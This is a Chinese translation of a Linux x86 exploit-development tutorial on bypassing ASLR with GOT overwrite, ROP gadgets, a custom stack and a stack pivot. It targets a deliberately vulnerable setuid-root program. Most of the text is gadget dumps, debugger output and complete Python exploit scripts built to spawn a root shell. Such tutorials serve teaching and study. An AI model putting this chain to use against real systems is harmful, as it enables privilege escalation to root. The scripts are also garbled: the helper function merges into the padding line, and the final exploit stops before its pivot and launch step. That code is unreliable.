Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

绕过 ASLR – 第三部分

译者:飞龙

原文:Bypassing ASLR – Part III

预备条件:

  1. 经典的基于栈的溢出
  2. 绕过 ASLR – 第一部分

VM 配置:Ubuntu 12.04 (x86)

在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧。来绕过共享库地址随机化。我们在第一部分中提到过,即使可执行文件没有所需的 PLT 桩代码,攻击者也可以使用 GOT 覆盖和解引用技巧来绕过 ASLR。

漏洞代码:

// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv) {
 char buf[256];
 int i;
 seteuid(getuid());
 if(argc < 2) {
  puts("Need an argument\n");
  exit(-1);
 }
 strcpy(buf, argv[1]);
 printf("%s\nLen:%d\n", buf, (int)strlen(buf));
 return 0;
}

编译命令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:

  1. system@PLT并没有在我们的可执行文件vuln中出现。
  2. 字符串sh也没有在我们的可执行文件vuln中出现。

什么是 GOT 覆盖?

这个技巧帮助攻击者,将特定 Libc 函数的 GOT 条目覆盖为另一个 Libc 函数的地址(在第一次调用之后)。但是它也可以覆盖为execve函数的地址 – 当偏移差加到GOT[getuid]的时候。我们已经知道了,在共享库中,函数距离其基址的偏移永远是固定的。所以,如果我们将两个 Libc 函数的差值(execvegetuid)加到getuid的 GOT 条目,我们就得到了execve函数的地址。之后,调用getuid就会调用execve

offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff

什么是 GOT 解引用?

这个技巧类似于 GOT 覆盖,但是这里不会覆盖特定 Libc 函数的 GOT 条目,而是将它的值复制到寄存器中,并将偏移差加到寄存器的内容。因此,寄存器就含有所需的 Libc 函数地址。例如,GOT[getuid]包含getuid的函数地址,将其复制到寄存器。两个 Libc 函数(execvegetuid)的偏移差加到寄存器的内容。现在跳到寄存器的值就调用了execve

offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff

这两个技巧看起来类似,但是当缓冲区溢出发生时,如何在运行时期执行这些操作呢?我们需要识别出一个函数(它执行这些加法,并将结果复制到寄存器),并跳到特定的函数来完成 GOT 覆盖或解引用。但是很显然,没有单一的函数(不在 Libc 也不在我们的可执行文件中)能够为我们做这些。这里我们使用 ROP。

什么是 ROP?

ROP 是个技巧,其中攻击者一旦得到了调用栈的控制之后,他就可以执行精心构造的机器指令,来执行它所需的操作,即使没有直接的方式。例如,在 return-to-libc 攻击中,我们将返回地址覆盖为system的地址,来执行system。但是如果system(以及execve函数族)从 Libc 共享库中溢出了,攻击者就不能获得 root shell。这时,ROP 就可以拯救攻击者。在这个技巧中,即使任何所需的 Libc 函数都不存在,攻击者可以通过执行一系列的零件(gadget),来模拟所需的 Libc 函数。

什么是零件?

零件是一系列汇编指令,它们以ret汇编指令结尾。攻击者使用零件地址来覆盖返回地址,这个零件包含一系列汇编指令,它们类似于system开头的一些汇编指令。所以,返回到这个零件地址,就可以执行一部分system的功能。system功能的剩余部分,通过返回到一些其他零件来完成。由此,链接一系列的零件可以模拟system的功能。因此system即使移除了也能够执行。

但是如何在可执行文件中找到可用的零件?

可以使用零件工具来寻找。有很多工具,例如 ropemeROPgadgetrp++,它们有助于攻击者在二进制中寻找零件。这些工具大多都寻找ret指令,之后往回看来寻找实用的机器指令序列。

在我们这里,我们并不需要使用 ROP 零件俩模拟任何 Libc 函数,反之,我们需要覆盖 Libc 函数的 GOT 条目,或者确保任何寄存器指向 Libc 函数地址。让我们看看如何使用 ROP 零件来完成 GOT 覆盖和解引用吧。

使用 ROP 的 GOT 覆盖

零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid]上。所以让我们寻找一个add零件,它将结果复制到内存区域中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$

好的。我们找到了一个add零件,它将结果复制到内存区域中。现在如果我们可以使 EBX 包含GOT[getuid] - 0x5d5b04c4,并使 EAX 包含偏移差,我们就可以成功执行 GOT 覆盖。

零件 2:确保 EBX 包含getuid的 GOT 条目。getuid的 GOT 条目(在下面展示)位于0x804a004。因此 EBX 应该为0x804a004,但是由于add零件中,固定值0x5d5b04c4加到了 EBX,所以 EBX 应减去这个固定值,也就是ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40。现在我们需要寻找一个零件,它将这个值0xaaa99b40复制到 EBX 寄存器中。

$ objdump -R vuln
vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$ 

好的,我们找到了pop ebx零件。因此将该值0xaaa99b40压入栈,并返回到pop ebx之后, EBX 包含0xaaa99b40

零件 3:确保 EAX 包含偏移差。因此我们需要找到一个零件,它将偏移差复制到 EAX 寄存器中。

$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0 
(gdb) p getuid
$2 = {} 0xb761acc0 
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb) 
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

因此将偏移差0xfffff530压入栈中,并返回到pop eax指令,将偏移差复制给 EAX。但是不幸的是,在我们的二进制vuln中,我们不能找到popl %eax; ret;零件。因此 GOT 覆盖是不可能的。

栈布局:下面的图片描述了用于完成 GOT 覆盖的零件链。

Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

使用 ROP 的 GOT 解引用

零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid],并且它的结果需要加载到寄存器中。所以让我们寻找一个add零件,它将结果复制到寄存器中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
166 found.

A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$

好的。我们找到一个add零件,它将结果复制到寄存器中。现在如果我们可以使 EBX 包含GOT[getuid] + 0xb8a0008,并使 EAX 包含偏移差,我们就可以成功执行 GOT 解引用。

零件 2:我们在 GOT 覆盖中看到,可执行文件vuln中找到了pop %ebx; ret;

零件 3:我们在 GOT 覆盖中看到,可执行文件vuln中没有找到pop %eax; ret;

零件 4:通过调用寄存器来调用execve。因此我们需要call *eax零件。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$

好的。我们发现了call *eax零件。但是还是因为零件 3popl %eax; ret;没有找到,GOT 解引用也是无法实现的。

栈布局:下面的图片描述了用于完成 GOT 解引用的零件链:

Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

在似乎没有更多方法时(至少对于我来说,当我开始了解 ROP 的时候),Reno 向我介绍了下面的解法,通过手动搜索 ROP 零件。非常感谢,所以继续吧。

手动搜索 ROP 零件

由于 ROP 零件工具不能找到pop eax;ret;零件,让我们手动搜索来寻找,是否能找到任何有趣的零件,能够帮助我们将偏移差复制给 EAX 寄存器。

反汇编二进制vuln(使用下面的命令):

$objdump -d vuln > out

零件 4:使用偏移差0xfffff530加载 EAX。反汇编展示了一个 MOV 指令,它将栈内容复制给 EAX:

80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret

但是ret0x80485d0)看起来离这个指令(0x80485b3)很远。所以这里的挑战是,在ret指令之前,我们需要保证 EAX 不被修改。

不修改 EAX:

这里让我们看看如何使 EAX 在ret指令(0x80485d0)之前不被修改。这是一个调用指令(0x80485bb),所以让我们用这种方式来加载 EBX 和 ESI,就是调用指令会调用一个函数,它不修改 EAX。_fini看起来不修改 EAX。

0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret

08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret

_fini调用了_do_global_dtors_aux,在我们将内存地址0x804a028设为 1 的时候,这里 EAX 可以可以保留下来。

为了调用_fini,EBX 和 ESI 的值是什么呢?

  1. 首先我们需要寻找一个内存地址,它包含_fini的地址0x804861c。像下面展示的那样,内存地址0x8049f3c包含了_fini地址。

    0x8049f28 :    0x00000001 0x00000010 0x0000000c 0x08048354
    0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
    0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
  2. 将 ESI 设为0x01020101。推荐这个值,因为我们不能将其设为0x0,它是strcpy的漏洞代码,零是坏字符。同样,确保产生的值(储存在 EBX 中)也不包含零。

  3. 像下面那样设置 EBX:

    ebx+esi*4-0xe0 = 0x8049f3c
    ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
    ebx = 0x3fc9c18

因此,我们发现,为了调用_fini,我们需要确保 EBX 和 ESI 分别加载为0x3fc9c180x01020101

同样确保 EAX 不要在_fini的返回处(0x8048635)和返回指令(0x80485d0)之间修改。这可以通过设置edi = esi + 1来实现。如果设置了edi = esi + 1,跳转指令0x80485c7就会确保控制流跳转到0x80485c9的指令。之后我们可以看到,0x80485c9指令到返回指令(0x80485d0)之间,EAX 都不会改动。

零件 5:将 EBX 加载为0x3fc9c18

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

零件 6:将 ESI 加载为0x01020101,EDI 加载为0x01020102:

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
135 found.

A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$

零件 7:将0x1复制到内存地址0x804a028

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
183 found.

A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$

现在我们完成了零件的搜索。让我们开始游戏吧!

零件搜索总结

  • 为了零件 1 的成功调用,我们需要零件 2 和 3。
  • 由于零件 3 不存在,我们执行手动搜索,并找到了零件 4、5、6 和 7。
  • 为了零件 4 的成功调用,我们需要零件 5、6 和 7。

利用代码

下面的利用代码使用execve函数地址覆盖了GOT[getuid]

#!/usr/bin/env python
import struct
from subprocess import call

'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4

print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的利用代码会生成核心文件。打开核心文件来查看GOT[getuid]execve函数地址覆盖(在下面展示):

$ python oexp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core 
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <getuid@got.plt>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0 
(gdb) p execve
$2 = {} 0xb761a1f0 
(gdb) 

好的,我们已经成功将getuid的 GOT 条目覆盖为execve的地址。因为现在为止,任何getuid的调用都会调用execve

派生 root shell

我们的利用还没完,我们刚刚执行了 GOT 覆盖,还需要派生出 root shell。为了派生 root shell,将下面的 Libc 函数(以及它们的参数)复制到栈上。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

其中:

  • setuid@PLTsetuid的 PLT 代码地址(0x80483c0)。
  • getuid@PLTgetuid的 PLT 代码地址(0x80483b0),但是这回调用execve,因为我们已经执行了 GOT 覆盖。
  • seteuid_arg应该为 0 来获得 root shell。
  • execve_arg1 – 文件名称 – 字符串/bin/sh的地址。
  • execve_arg2argv – 参数数组的地址,它的内容是[Address of “/bin/sh”, NULL]
  • execve_arg3envpNULL

我们在第五篇中看到,因为我们不能直接使用 0 来溢出缓冲区(因为 0 是坏字符),我们可以使用strcpy链来复制 0 代替seteuid_arg。但是这个解法不能在这里使用,因为栈是随机化的,知道seteuid_arg的栈上位置的准确地址十分困难。

如何绕过栈地址随机化?

可以使用自定义栈和 stack pivot 技巧来绕过它。

什么是自定义栈?

自定义栈是由攻击者控制的栈区域。它复制 Libc 函数链,以及函数参数来绕过栈随机化。由于攻击者选择了任何非位置独立和可写的进程的内存区域作为自定义栈,所以可以绕过。在我们的二进制vuln中,可写和非位置独立的内存区域,是0x804a0000x804b000(在下面展示):

$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0 
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0 
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$

例如,包含.data.bss段的内存区域可以用作自定义栈位置。我选择了0x804a360作为自定义栈位置。

现在选择自定义栈位置之后,我们需要将 Libc 函数链以及它们的函数复制到自定义栈中。我们这里,将下面的 Libc 函数(以及它们的参数)复制到自定义栈位置,以便派生 root shell。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

为了将这些内容复制到栈上,我们需要将实际栈的返回地址,覆盖为一系列strcpy调用。例如,为了将seteuid@PLT (0x80483c0)复制到自定义栈上,我们需要:

  • 四个strcpy调用 – 每个十六进制值(0x08, 0x04, 0x83, 0xc0)使用一个strcpy调用。
  • strcpy的来源参数应该是可执行内存区域的地址,它包含所需的十六进制值,并且我们也需要确保这个值不被改动,它在所选的内存区域存在。
  • strcpy的目标参数应该是自定义栈位置的目标地址。

遵循上面的过程,我们就建立了完整的自定义栈。一旦自定义栈建立完成,我们需要将自定义栈移动到真实的栈上,使用 stack pivot 技巧。

什么是 stack pivot?

stack pivot 使用leave ret指令来实现。我们已经知道了,leave指令会翻译为:

mov ebp, esp
pop ebp

所以在leave指令之前,使用自定义栈地址来加载 EBP – 当leave指令执行时,会使 ESP 指向 EBP。所以,在转移到自定义栈之后,我们会继续执行一 Libc 函数序列,它们加载到了自定义栈上,然后就获得了 root shell。

完整的利用代码

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#GOT overwrite using ROP gadgets
'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18               #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360          #Custom stack base address
cust_base_esp = 0x804a360     #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143      #08
seteuid_oct2 = 0x8048130      #04
seteuid_oct3 = 0x8048355      #83
seteuid_oct4 = 0x80481cb      #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143       #08
getuid_oct2 = 0x8048130       #04
getuid_oct3 = 0x8048355       #83
getuid_oct4 = 0x80483dc       #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143  #08
execve_arg1_oct2 = 0x8048130  #04 
execve_arg1_oct3 = 0x8048f44  #AC 
execve_arg1_oct4 = 0x804819a  #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143  #08
execve_arg2_oct2 = 0x8048130  #04 
execve_arg2_oct3 = 0x8048f44  #AC 
execve_arg2_oct4 = 0x80483a6  #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60   #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154  #/
execve_path_oct2 = 0x8048157  #b
execve_path_oct3 = 0x8048156  #i
execve_path_oct4 = 0x804815e  #n
execve_path_oct5 = 0x8048162  #s
execve_path_oct6 = 0x80483a6  #h
execve_argv_dst = 0x804ac68   #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04 
execve_argv1_oct3 = 0x8048f44 #AC 
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0        #strcpy@PLT
ppr_addr = 0x080485ce         #popl %edi ; popl %ebp ; ret ;

#Stack Pivot
pr_addr = 0x080484a3          #popl %ebp ; ret ;
lr_addr = 0x08048569          #leave ; ret ;

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7)               #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6)               #pop esi; pop edi; pop ebp; ret;
buf += conv(esi)              #esi
buf += conv(edi)              #edi
buf += conv(dummy)
buf += conv(g5)               #pop ebx; ret;
buf += conv(ebx)              #ebx
buf += conv(g4)               #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2)               #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40              #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1)               #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4                 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
